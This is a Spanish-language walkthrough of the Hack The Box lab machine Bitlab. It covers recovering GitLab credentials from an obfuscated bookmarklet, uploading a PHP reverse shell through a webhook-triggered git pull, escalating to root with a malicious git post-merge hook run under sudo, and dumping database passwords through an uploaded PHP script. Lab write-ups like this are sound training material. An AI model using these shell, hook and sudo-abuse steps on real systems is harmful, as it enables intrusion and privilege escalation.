Hack The Box - Bitlab
Resumen rápido
Primero que nada, tengo que dejar claro que esta máquina tiene dos formas de hacer escalamiento de privilegios: una es haciendo ingenieria inversa y la otra es aprovecharse de una mala configuración de sudo y git. Voy a describir los pasos para sudo + git
, como recién estoy empezando a dar mis primeros pasos en cosas de bajo nivel.
A pesar de todo, en el futuro actualizaré este post para reflejar el camino vía ingeniera inversa.
Esta fue una máquina cool, no difícil a nivel técnico, pero una que se necesita enumerar muchísimo, entonces perfecta para mejorar en eso!
Dicho eso, hora de ensuciarse las manos :D
Nmap
Comenzamos ejecutando nmap para obtener que puertos/servicios están expuestos:
root@kali:~/Documents/HTB/boxes/medium/linux/bitlab# nmap -sC -sV -O 10.10.10.114 -o ininitial-nmap.htb
Starting Nmap 7.80 ( https://nmap.org ) at 2019-12-12 22:33 EST
Nmap scan report for bitlab.htb (10.10.10.114)
Host is up (0.019s latency).
Not shown: 998 filtered ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 a2:3b:b0:dd:28:91:bf:e8:f9:30:82:31:23:2f:92:18 (RSA)
| 256 e6:3b:fb:b3:7f:9a:35:a8:bd:d0:27:7b:25:d4:ed:dc (ECDSA)
|_ 256 c9:54:3d:91:01:78:03:ab:16:14:6b:cc:f0:b7:3a:55 (ED25519)
80/tcp open http nginx
| http-robots.txt: 55 disallowed entries (15 shown)
| / /autocomplete/users /search /api /admin /profile
| /dashboard /projects/new /groups/new /groups/*/edit /users /help
|_/s/ /snippets/new /snippets/*/edit
| http-title: Sign in \xC2\xB7 GitLab
|_Requested resource was http://bitlab.htb/users/sign_in
|_http-trane-info: Problem with XML parsing of /evox/about
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: Linux 3.10 - 4.11 (92%), Linux 3.2 - 4.9 (92%), Linux 3.18 (90%), Crestron XPanel control system (90%), Linux 3.16 (89%), ASUS RT-N56U WAP (Linux 3.4) (87%), Linux 3.1 (87%), Linux 3.2 (87%), HP P2000 G3 NAS device (87%), AXIS 210A or 211 Network Camera (Linux 2.6.17) (87%)
No exact OS matches for host (test conditions non-ideal).
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Thu Dec 12 22:34:15 2019 -- 1 IP address (1 host up) scanned in 17.39 seconds
Obtenemos que SSH (22) y HTTP (80) están abiertos más que el servidor web ejecutándose en el puerto 80 es Gitlab.
Enumeración Web
La página de inicio (http://10.10.10.114/
), solamente es la página de login standard de gitlab:
Probamos a mano los enlaces en la página para ver si funciona, y encontramos con esto que Help
funciona, somos redirigidos a un directorio listado que tiene bookmarks.html
y lo abrimos:
Vemos que Gitlab Login
es código javascript ofuscado, pasamos a hacer desofusación (yo usé de4js pero cualquier herramienta de desofuscación o incluso la consola de python sirve):
Del código:
javascript:(function(){ var _0x4b18=["\x76\x61\x6C\x75\x65","\x75\x73\x65\x72\x5F\x6C\x6F\x67\x69\x6E","\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x42\x79\x49\x64","\x63\x6C\x61\x76\x65","\x75\x73\x65\x72\x5F\x70\x61\x73\x73\x77\x6F\x72\x64","\x31\x31\x64\x65\x73\x30\x30\x38\x31\x78"];document[_0x4b18[2]](_0x4b18[1])[_0x4b18[0]]= _0x4b18[3];document[_0x4b18[2]](_0x4b18[4])[_0x4b18[0]]= _0x4b18[5]; })()
Obtenemos el siguiente:
javascript: (function () {
var _0x4b18 = ["value", "user_login", "getElementById", "clave", "user_password", "11des0081x"];
document[_0x4b18[2]](_0x4b18[1])[_0x4b18[0]] = _0x4b18[3];
document[_0x4b18[2]](_0x4b18[4])[_0x4b18[0]] = _0x4b18[5];
})()
Con esas credenciales nos podemos intentamos loguearnos, un usuario llamado clave
y con contraseñá 11des0081x
, nos logueamos exitosamente y tenemos acceso a algunos proyectos:
Si miramos detalladamente en Profile
encontramos que este proyecto tiene Auto DevOps habilitado.
Seguimos enumerando un poco más, y vemos que el proyecto que se llama Deployer
está a cargo de manejar eso: deployear las aplicaciones, en la descripción hay un enlace apuntando a a gitlab, nos fijamos que hay en la documentación de webhooks,
después de leer un poco, nos fijamos que hace index.php
:
<?php
$input = file_get_contents("php://input");
$payload = json_decode($input);
$repo = $payload->project->name ?? '';
$event = $payload->event_type ?? '';
$state = $payload->object_attributes->state ?? '';
$branch = $payload->object_attributes->target_branch ?? '';
if ($repo=='Profile' && $branch=='master' && $event=='merge_request' && $state=='merged') {
echo shell_exec('cd ../profile/; sudo git pull'),"\n";
}
echo "OK\n";
Intentando combinar las piezas que tenemos hasta este momento, podemos darnos cuenta del punto de entrada: tenemos que subir un reverse shell en php, teniéndolo mergeado en master (el código de index.php
tiene específicado que un git pull se va a ejecutar si un merge a master sucede), una vez que hacemos eso ejecutamos index.php
desde Deployer
con esto vamos a tener nuestro reverse shell subido al servidor.
RCE -> www-data -> root
Subimos el siguiente php reverse shell by pentestmonkey cambiamos $ip = '127.0.0.1'
y $port = 1234
a nuestra ip y puerto en los que nuestra máquina está escuchando, después lo mergeamos (vamos a ser redirigidos de forma automática a la página para mergearlo).
Ahora que el reverse shell está subido en el servidor, todavía tenemos que ejecutarlo, para eso tenemos que saber cuál es la ruta para hacerlo, si recordamos el proyecto Deployer
este tiene un index.php que imprime “OK” , podemos ver de acceder al path de deployer para ver si se imprime, si lo hace, entonces sabemos que la ruta para nuestro reverse shell será http://10.0.0.14/profile/<name of our reverse shell>
:
Ahora que sabemos efectivamente que la url mencionada arriba es la que precisamos usar. Ejecutamos nuestro listener para el reverse shell y lo ejecutamos, con esto tenemos ejecución de código remota:
root@kali:~/Documents/HTB/boxes/medium/linux/bitlab# nc -nlvp 1234
listening on [any] 1234 ...
connect to [10.10.14.7] from (UNKNOWN) [10.10.10.114] 57130
Linux bitlab 4.15.0-29-generic #31-Ubuntu SMP Tue Jul 17 15:39:52 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux
19:56:40 up 12 min, 0 users, load average: 0.55, 0.56, 0.46
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$ python -c 'import pty;pty.spawn("/bin/bash")'
www-data@bitlab:/var/www$ pwd
pwd
/var/www
Verificamos si tenemos permisos de sudo, y vemos lo siguiente:
www-data@bitlab:/var/www$ sudo -l
sudo -l
Matching Defaults entries for www-data on bitlab:
env_reset, exempt_group=sudo, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User www-data may run the following commands on bitlab:
(root) NOPASSWD: /usr/bin/git pull
www-data@bitlab:/var/www$ getent passwd www-data
getent passwd www-data
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
www-data@bitlab:/tmp/profile$ cd /var/www/html/profile
cd /var/www/html/profile
www-data@bitlab:/var/www/html/profile$ ls -la
ls -la
total 144
drwxr-xr-x 3 root root 4096 Jan 10 19:56 .
drwxr-xr-x 5 root root 4096 Jul 30 12:37 ..
drwxr-xr-x 8 root root 4096 Jan 10 20:02 .git
-rw-r--r-- 1 root root 42 Feb 26 2019 .htaccess
-rw-r--r-- 1 root root 110 Jan 4 2019 README.md
-rw-r--r-- 1 root root 93029 Jan 5 2019 developer.jpg
-rw-r--r-- 1 root root 4184 Jan 4 2019 index.php
-rw-r--r-- 1 root root 5493 Jan 10 19:55 rev-sh.php
Hasta ahora, sabemos que los repositorios de git están en /var/www/html
y que tenemos permitido ejecutar un git pull con permisos de sudo desde adentro de los repositorios, esto es lo que vamos a usar para aprovecharnos de los webhooks habilitados en gitlab (post-merge hook) y nuestra capacidad de ejecutar el git pull con permisos de root (git pull
es como git fetch pero mergea de una por decirlo de un modo), para entender mejor como esas dos cosas funcionan nos vamos a la documentación de git para hooks: post merge y la de git pull.
Nuestro repositorio no nos permite editar archivos ahí, así que lo copiamos a un lugar donde podamos:
www-data@bitlab:/var/www/html$ cp -r profile /tmp/profile
cp -r profile /tmp/profile
www-data@bitlab:/tmp/profile$ ls -la
ls -la
total 148
drwxr-xr-x 4 www-data www-data 4096 Jan 10 20:08 .
drwxrwxrwt 3 root root 4096 Jan 10 20:03 ..
drwxr-xr-x 8 www-data www-data 4096 Jan 10 20:03 .git
-rw-r--r-- 1 www-data www-data 42 Jan 10 20:03 .htaccess
-rw-r--r-- 1 www-data www-data 110 Jan 10 20:03 README.md
-rw-r--r-- 1 www-data www-data 93029 Jan 10 20:03 developer.jpg
-rw-r--r-- 1 www-data www-data 5493 Jan 10 20:03 foo
-rw-r--r-- 1 www-data www-data 4184 Jan 10 20:03 index.php
drwxr-xr-x 3 www-data www-data 4096 Jan 10 20:08 profile
-rw-r--r-- 1 www-data www-data 5493 Jan 10 20:03 rev-sh.php
Creamos un script que se llama post-merge
adentro de .git/hooks
para conseguir un shell como root y le damos permisos de ejcución:
www-data@bitlab:/tmp/profile$ cd .git/hooks
cd .git/hooks
www-data@bitlab:/tmp/profile/.git/hooks$ echo 'exec /bin/bash 0<&2 1>&2' > post-merge
< 'exec /bin/bash 0<&2 1>&2' > post-merge
www-data@bitlab:/tmp/profile/.git/hooks$ chmod u+x post-merge
chmod u+x post-merge
Una vez que hicimos eso, subimos cualquier archivo (no importa cuál!) a gitlab y lo mergeamos, una vez que hacemos eso desde la ruta donde tenemos permisos, ejecutamos sudo git pull
y con eso ahora somos root:
www-data@bitlab:/tmp/profile$ sudo git pull
sudo git pull
remote: Enumerating objects: 4, done.
remote: Counting objects: 100% (4/4), done.
remote: Compressing objects: 100% (3/3), done.
Unpacking objects: 100% (3/3), done.
remote: Total 3 (delta 2), reused 0 (delta 0)
From ssh://localhost:3022/root/profile
35da5b2..cbbc729 master -> origin/master
* [new branch] patch-2 -> origin/patch-8
Updating 35da5b2..cbbc729
Fast-forward
1asf | 1 +
1 file changed, 1 insertion(+)
create mode 100644 1asf
root@bitlab:/tmp/profile# id
id
uid=0(root) gid=0(root) groups=0(root)
root@bitlab:/tmp/profile# cd /root
cd /root
root@bitlab:~# ls
ls
root.txt
root@bitlab:~# wc -c root.txt
wc -c root.txt
33 root.txt
Con esto ya podemos irnos a ````/home``` y ver ahí la flag de user y de root.
Más allá de root
Como dije en el principio del post, hay dos caminos para esta máquina: Ok, as I said at the begining of the post, there are 2 paths to get this box:
1 - El modo “pensado por el creado” (user -> root) es haciendo ingenieria inversa. 2 - Aprovecharse de configuraciones mal hechas.
Voy a cubrir el punto uno, pero solamente como hacerse con el usuario, y en el futuro si tengo idea de ingenieria inversa, voy a postear la parte que falta)
Usuario
En la página de inicio del proyecto Profile, hay un hint, se menciona una conexión a postgresql y snippets, nos vamos a la página de snippets y encontramos esto:
Lo abrimos y vemos que es un script para conectarse a la base de datos y hacer un dump de los perfiles:
<?php
$db_connection = pg_connect("host=localhost dbname=profiles user=profiles password=profiles");
$result = pg_query($db_connection, "SELECT * FROM profiles");
Entonces, desde adentro del proyecto Profile agregamos un archivo con ese código, pero también creamos un array con pg_fetch_all($result)
para guardarnos todos los perfiles que se les hace un dump, con eso tenemos este resultado:
<?php
$db_connection = pg_connect("host=localhost dbname=profiles user=profiles password=profiles");
$result = pg_query($db_connection, "SELECT * FROM profiles");
$arr = pg_fetch_all($result);
print_r($arr);
Y despué de guardarlos y hacerle merge, nos vamos a http://10.10.10.114/profile/<el nombre que le diste al script>
, y deberíamos tener como resultado el array en pantalla con el usuario clave
y una contraseñá:
Array ( [0] => Array ( [id] => 1 [username] => clave [password] => c3NoLXN0cjBuZy1wQHNz== ) )
Antes de intentar romperla por fuerza bruta, probamos usarla así como está, y éxito! La contraseña era esa, no estaba encriptada!
root@kali:~/Documents/HTB/boxes/medium/linux/bitlab# ssh 10.10.10.114 -l clave
clave@10.10.10.114's password:
Last login: Fri Jan 10 19:45:16 2020 from 10.10.14.7
clave@bitlab:~$ id
uid=1000(clave) gid=1000(clave) groups=1000(clave)
clave@bitlab:~$ ls -la
total 44
drwxr-xr-x 4 clave clave 4096 Aug 8 14:40 .
drwxr-xr-x 3 root root 4096 Feb 28 2019 ..
lrwxrwxrwx 1 root root 9 Feb 28 2019 .bash_history -> /dev/null
-rw-r--r-- 1 clave clave 3771 Feb 28 2019 .bashrc
drwx------ 2 clave clave 4096 Aug 8 14:40 .cache
drwx------ 3 clave clave 4096 Aug 8 14:40 .gnupg
-rw-r--r-- 1 clave clave 807 Feb 28 2019 .profile
-r-------- 1 clave clave 13824 Jul 30 19:58 RemoteConnection.exe
-r-------- 1 clave clave 33 Feb 28 2019 user.txt
clave@bitlab:~$ wc -c user.txt
33 user.txt
Obtenemos el shell del usuario, y después de listar archivos en su home, vemos un archivo interesante que se llama RemoteConnection.exe
, desde ahí vamos a necesitar descargarlo y empezar a ensuciarnos un poco las manos con algun debugger y hacer ingenieria inversa para ver que esconde adentro, perooo como dije antes, lo voy a actualizar en el momento en que aprenda a hacerlo :P.
Bueno, entonces sabemos que esta máquina tiene dos formas de conseguir root. Me encantó esta máquina, y estoy esperando a tirarme al agua con ella de nuevo cuando tenga un poquito más de idea de ing. inversa.
Ta luego, hasta el próximo paso a paso!